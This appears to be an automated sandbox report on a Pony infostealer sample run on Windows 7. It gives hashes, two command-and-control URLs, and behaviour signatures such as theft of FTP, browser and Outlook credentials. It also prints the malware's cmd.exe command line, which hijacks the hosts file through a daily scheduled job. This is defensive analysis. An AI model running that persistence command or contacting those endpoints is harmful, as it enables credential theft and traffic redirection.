Analysis
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max time kernel
154s -
max time network
125s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
20/11/2022, 08:23
Static task
static1
Behavioral task
behavioral1
Sample
79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe
Resource
win7-20221111-en
General
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Target
79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe
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Size
96KB
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MD5
3c658c1945c067468d8f79db07643e90
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SHA1
84510320b162e4023406d928f0a301e082ef4269
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SHA256
79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606
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SHA512
d19737c15fb5bcd2187cf3bbc7fe6ea65bdf4bfacb16c00b86862e3124484c450a1e54fcdf5b9a454187bb2133b27a7e43c8e49a516b327b10fc863d400632d6
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SSDEEP
1536:bNOLSWhnirjfpNGLsmYTQssZiFFvVQwoQy0+47XvcW2svXlrtkt99933Jn:5Ox2jxYYnQ5OCwooUsv94J
Malware Config
Extracted
pony
http://mgirrdu.pw:4915/way/like.php
http://jtryliy.pw:4915/way/like.php
Signatures
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Drops file in Drivers directory 3 IoCs
description ioc Process File created C:\Windows\system32\drivers\etc\tmp.tmp 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe File created C:\Windows\system32\drivers\etc\hosts.sam cmd.exe File opened for modification C:\Windows\system32\drivers\etc\hosts.sam cmd.exe -
resource yara_rule behavioral1/memory/1692-56-0x0000000000400000-0x0000000000425000-memory.dmp upx behavioral1/memory/1692-59-0x0000000000400000-0x0000000000425000-memory.dmp upx -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe -
Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of AdjustPrivilegeToken 32 IoCs
description pid Process Token: SeImpersonatePrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeTcbPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeChangeNotifyPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeCreateTokenPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeBackupPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeRestorePrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeIncreaseQuotaPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeAssignPrimaryTokenPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeImpersonatePrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeTcbPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeChangeNotifyPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeCreateTokenPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeBackupPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeRestorePrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeIncreaseQuotaPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeAssignPrimaryTokenPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeImpersonatePrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeTcbPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeChangeNotifyPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeCreateTokenPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeBackupPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeRestorePrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeIncreaseQuotaPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeAssignPrimaryTokenPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeImpersonatePrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeTcbPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeChangeNotifyPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeCreateTokenPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeBackupPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeRestorePrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeIncreaseQuotaPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe Token: SeAssignPrimaryTokenPrivilege 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1692 wrote to memory of 1204 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe 29 PID 1692 wrote to memory of 1204 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe 29 PID 1692 wrote to memory of 1204 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe 29 PID 1692 wrote to memory of 1204 1692 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe 29 PID 1204 wrote to memory of 1816 1204 cmd.exe 31 PID 1204 wrote to memory of 1816 1204 cmd.exe 31 PID 1204 wrote to memory of 1816 1204 cmd.exe 31 PID 1204 wrote to memory of 1816 1204 cmd.exe 31 -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook 79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe"C:\Users\Admin\AppData\Local\Temp\79fd71ef4c7fbc43cf914ec82d00056f9e3b8812e2589717f265f3c7623f2606.exe"1⤵
- Drops file in Drivers directory
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_win_path
PID:1692 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy C:\Windows\system32\drivers\etc\hosts C:\Windows\system32\drivers\etc\hosts.sam /Y && at 09:28:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\7203595aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"2⤵
- Drops file in Drivers directory
- Suspicious use of WriteProcessMemory
PID:1204 -
C:\Windows\SysWOW64\at.exeat 09:28:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\7203595aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"3⤵PID:1816
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